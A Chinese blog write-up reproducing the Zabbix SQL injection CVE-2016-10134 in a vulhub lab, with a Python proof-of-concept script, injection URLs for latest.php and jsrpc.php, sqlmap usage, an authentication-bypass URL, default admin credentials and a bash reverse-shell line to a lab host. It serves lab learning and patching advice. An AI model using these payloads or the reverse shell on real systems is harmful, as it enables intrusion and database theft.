• [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)


    🍬 博主介绍

    👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
    ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
    🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
    🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
    🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

    一、漏洞描述:

    zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]或jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。

    二、受影响版本:

    2.2.x
    3.3.0-3.03
    
    • 1
    • 2

    三、Zabbix指纹信息

     [
            {
                "match": "body_contains",
                "content": "images/general/zabbix.ico"
            }],
            [
            {
                "match": "header_contains",
                "content": "zbx_sessionid"
            }],
            [
            {
                "match": "body_contains",
                "content": "meta name=\"author\" content=\"zabbix sia\""
            },
            {
                "match": "banner_contains",
                "content": "linux zabbix-"
            }],
            [
            {
                "match": "banner_contains",
                "content": "zbx_sessionid"
            }]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    四、基本原理:

    sql注入:简单来说就是通过寻找注入点,进行sql语句拼接,欺骗服务器,获取想要的数据。
    zabbix:由两部分构成,zabbix server与可选组件zabbix agent。
    zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能。
    zabbix agent需要安装在被监视的目标服务器上,它主要完成对硬件信息或与操作系统有关的内存,CPU等信息的收集

    五、环境搭建

    vluhub漏洞靶场搭建

    vulhub环境是:Zabbix 3.0.3
    切到CVE-2016-10134漏洞目录下

    cd vulhub/zabbix/CVE-2016-10134 
    
    • 1

    在这里插入图片描述

    创建CVE-2016-10134环境

    docker-compose up -d
    
    • 1

    在这里插入图片描述

    查看CVE-2016-10134环境

    docker-compose ps
    
    • 1

    在这里插入图片描述

    访问CVE-2016-10134环境

    http://ip:8080
    
    • 1

    在这里插入图片描述
    复现玩记得关闭环境:

    docker-compose down
    
    • 1

    六、漏洞复现:

    1. jsrpc.php

    (看下文X-ray–>CVE-2016-10134-复现2)

    2. latest.php

    (看下文X-ray–>CVE-2016-10134-复现1)

    3.POC验证

    下面两条命令都可以使用

    python3 CVE-2016-10134.py -t 127.0.0.1:8080
    python3 CVE-2016-10134.py --target 127.0.0.1:8080
    
    • 1
    • 2

    存在漏洞
    直接得到了当前用户
    在这里插入图片描述

    4.POC

    # -*- coding: utf-8 -*-
    # @Time    : 2021/12/23
    # @Author  : TesterCC
    
    import json
    
    from optparse import OptionParser
    
    import re
    import sys
    
    from requests import session
    
    # initialization
    ret = dict()
    ret['status'] = str()
    ret['info'] = list()
    
    ss = session()
    ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
                  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}
    
    
    # CVE-2016-10134  # python3 CVE-2016-10134.py --target 127.0.0.1:8080
    
    def get_payload1(text) -> str:
        payload = re.search(r"\[(.*\))\]", text)
        return payload.group(1)
    
    
    def get_sql_injection_info(text) -> str:
        sql_injection_info = re.search(r"<\/li>
  • (.*)\'\]", text) return sql_injection_info.group(1) def attack(target): '''login zabbix''' login_url = "http://{}/index.php".format(target) ret0 = ss.get(login_url) cookie_dict = {i.name: i.value for i in ret0.cookies} # get sid sid = cookie_dict.get('zbx_sessionid')[16:] data = {"sid": sid, "form_refresh": "1", "name": "", "passwrd": "", "enter": "Sign+in"} retn = ss.post(url=login_url, headers=ss.headers, data=data) if retn.status_code == 200: # updatexml(0,concat(0xa,database()),0) # updatexml(0,concat(0xa,version()),0) payload1 = f"http://{target}/latest.php?output=ajax&sid={sid}&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)" retn2 = ss.get(url=payload1, headers=ss.headers) if retn2.status_code == 200: resp = { "payload": get_payload1(retn2.text), "info": get_sql_injection_info(retn2.text) } ret['status'] = 'success' ret['info'] = resp return ret def main(): usage = "Usage: python3 CVE-2016-10134.py --target " parse = OptionParser(usage=usage) parse.add_option("-t", '--target', type="string", dest="target", help="server ip:port, e.g. 127.0.0.1:8080") options, args = parse.parse_args() if not options.target: ret['status'] = 'fail' ret['info'] = "target empty" print(usage) sys.exit() else: target = options.target try: attack(target) except Exception: ret['status'] = 'fail' print(json.dumps(ret)) if __name__ == '__main__': main()
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
  • 七、x-ray渗透

    1.使用X-ray监听

    Xray监听

    .\xray_ windows_ and64. exe webscan -listen 127.0. 0.1 :8888
    
    • 1

    在这里插入图片描述

    火狐开启代理,与x-ray监听的端口相对应
    在这里插入图片描述

    访问网站http://192.168.13.131:8080
    Xray就开始有产出了,产出我就不截图了。
    我把产出信息copy到了下面进行分析

    2.敏感信息泄露(服务器报错信息泄露)

    [Vuln: baseline]
    Target           "http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5(2072517078)),0)"
    VulnType         "sensitive/server-error"
    
    • 1
    • 2
    • 3

    直接访问所给链接

    这条信息其实就是利用的CVE-2016-10134注入楼的那个

    http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5(2072517078)),0)
    
    • 1

    这句话就是MD5加密2072517078,输出只有31位,updatexml可以输出32为,但是前面娶了一个连接符所以只输出了31位
    在这里插入图片描述
    在这里插入图片描述

    3.CVE-2016-10134

    [Vuln: phantasm]
    Target           "http://192.168.13.131:8080/"
    VulnType         "poc-yaml-zabbix-cve-2016-10134-sqli/default"
    links            ["https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134"]
    
    • 1
    • 2
    • 3
    • 4

    查看links(参考链接)

    在这里插入图片描述

    发现是一个SQL注入漏洞

    复现1(latest.php)

    用guest账号(密码为空)登录游客账户

    在这里插入图片描述

    发现登录成功

    在这里插入图片描述

    复制Cookie中zbx_sessionid后16字节

    登录后,查看Cookie中的zbx_sessionid,复制后16位字符:916444579b8e84f1
    在这里插入图片描述

    填充sid的值,可成功注入

    将这16个字符作为sid的值,访问,可见成功注入:

    查询数据库当前用户信息
    http://192.168.13.131:8080/latest.php?output=ajax&sid=916444579b8e84f1&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    查询数据库版本信息
    http://192.168.13.131:8080/latest.php?output=ajax&sid=916444579b8e84f1&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)
    
    • 1

    在这里插入图片描述

    Sqlmap自动化注入

    burp抓到数据包,桌面新建txt,把数据写入txt。
    在这里插入图片描述

    python2 sqlmap.py -r C:\路径\新建文本文档.txt -p toggle_ids[]
    -r 指定数据包文件
    -p 指定注入字段
    
    • 1
    • 2
    • 3

    txt文件与sqlmap在同一目录下时不需要加路径,若不在则加绝对路径
    在这里插入图片描述
    在这里插入图片描述

    Sqlmap的poc都可以用于手工验证

    复现2(jsrpc.php)

    》这个漏洞也可以通过jsrpc.php触发,且无需登录:

    查询当前使用用户

    http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
    
    • 1

    在这里插入图片描述

    查询数据库版本

    http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)
    
    • 1

    在这里插入图片描述

    4.Zabbix 4.2 - Authentication Bypass登录绕过

    [Vuln: phantasm]
    Target           "http://192.168.13.131:8080/"
    VulnType         "poc-yaml-zabbix-authentication-bypass/default"
    links            ["https://www.exploit-db.com/exploits/47467"]
    
    • 1
    • 2
    • 3
    • 4

    参看links(参考链接)

    在这里插入图片描述

    发现是登陆绕过

    使用POC绕过登录

    http://192.168.13.131:8080/zabbix.php?action=dashboard.view&dashboardid=1
    
    • 1

    在这里插入图片描述

    5.存在默认密码

    [Vuln: phantasm]
    Target           "http://192.168.13.131:8080/"
    VulnType         "poc-yaml-zabbix-default-password/default"
    links            ["https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login"]
    
    • 1
    • 2
    • 3
    • 4

    查看links(参考链接)

    在这里插入图片描述

    发现默认账号密码:
    默认账号Admin
    默认密码为zabbix
    密码经过MD5加密后为5fce1b3e34b520afeffb37ce08c7cd66

    使用默认账号密码,登陆成功

    http://192.168.13.131:8080/index.php
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    6.暴力破解漏洞

    [Vuln: brute-force]
    Target           "http://192.168.13.131:8080/index.php"
    VulnType         "form-brute/default"
    from_url         "http://192.168.13.131:8080/"
    username         map["field":"name" "value":"admin"]
    passw0rd         map["field":"passw0rd" "value":"passw0rd01"]
    由于CSDN检测不能出现passw0rd,所以这里的o我改成了0
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    没有防御暴力破解的措施,理论上来说是可以暴力破解账号密码的

    八、getshell

    1.环境

    攻击机:windows本机:192.168.13.1
    靶机:kali:192.168.13.131

    2.在靶机上写入脚本

    用上面管理员账户密码登入到后台(账户是Admin 密码zabbix)
    登入之后点Administrator-script-creatscript,进行写入shell
    在这里插入图片描述

    bash -i >& /dev/tcp/192.168.13.1/55555 0>&1
    
    • 1

    3.攻击机监听:

    在这里插入图片描述

    4.靶机连接

    找触发点,找到触发点才能执行。方法很多,这里拿常用的举例。
    在这里插入图片描述

    浏览器跳转,提示报错信息
    在这里插入图片描述

    5.Getshell失败

    脚本一直无法执行,可能是zabbix环境存在问题
    理论上来说脚本一直无法执行的,是可以getshell的
    后续我会重新搭建zabbix环境进行getshell的复现,不选用vulhub环境试一下,如果可以getshell我将再出篇文章

    九、漏洞修复:

    禁用Guest账户,关闭无用账户。
    打补丁,升级zabbix版本。

    十、相应资源

    zabbix SQL注入漏洞 (CVE-2016-10134)POC
    原文下载

  • 相关阅读:
    IDEA 导入 spring 源码
    数据库三范式
    每日简报 8月31日简报新鲜事 每天一分钟 了解新鲜事
    写作作业一
    大理大理!
    ProtcolBuffer基础原理
    docker Get /v2/: dial tcp: lookup
    git commit 时 报错 ‘lint-staged‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件
    架构扩展性
    计算机视觉学习——表面检测
  • 原文地址:https://blog.csdn.net/qq_51577576/article/details/126332025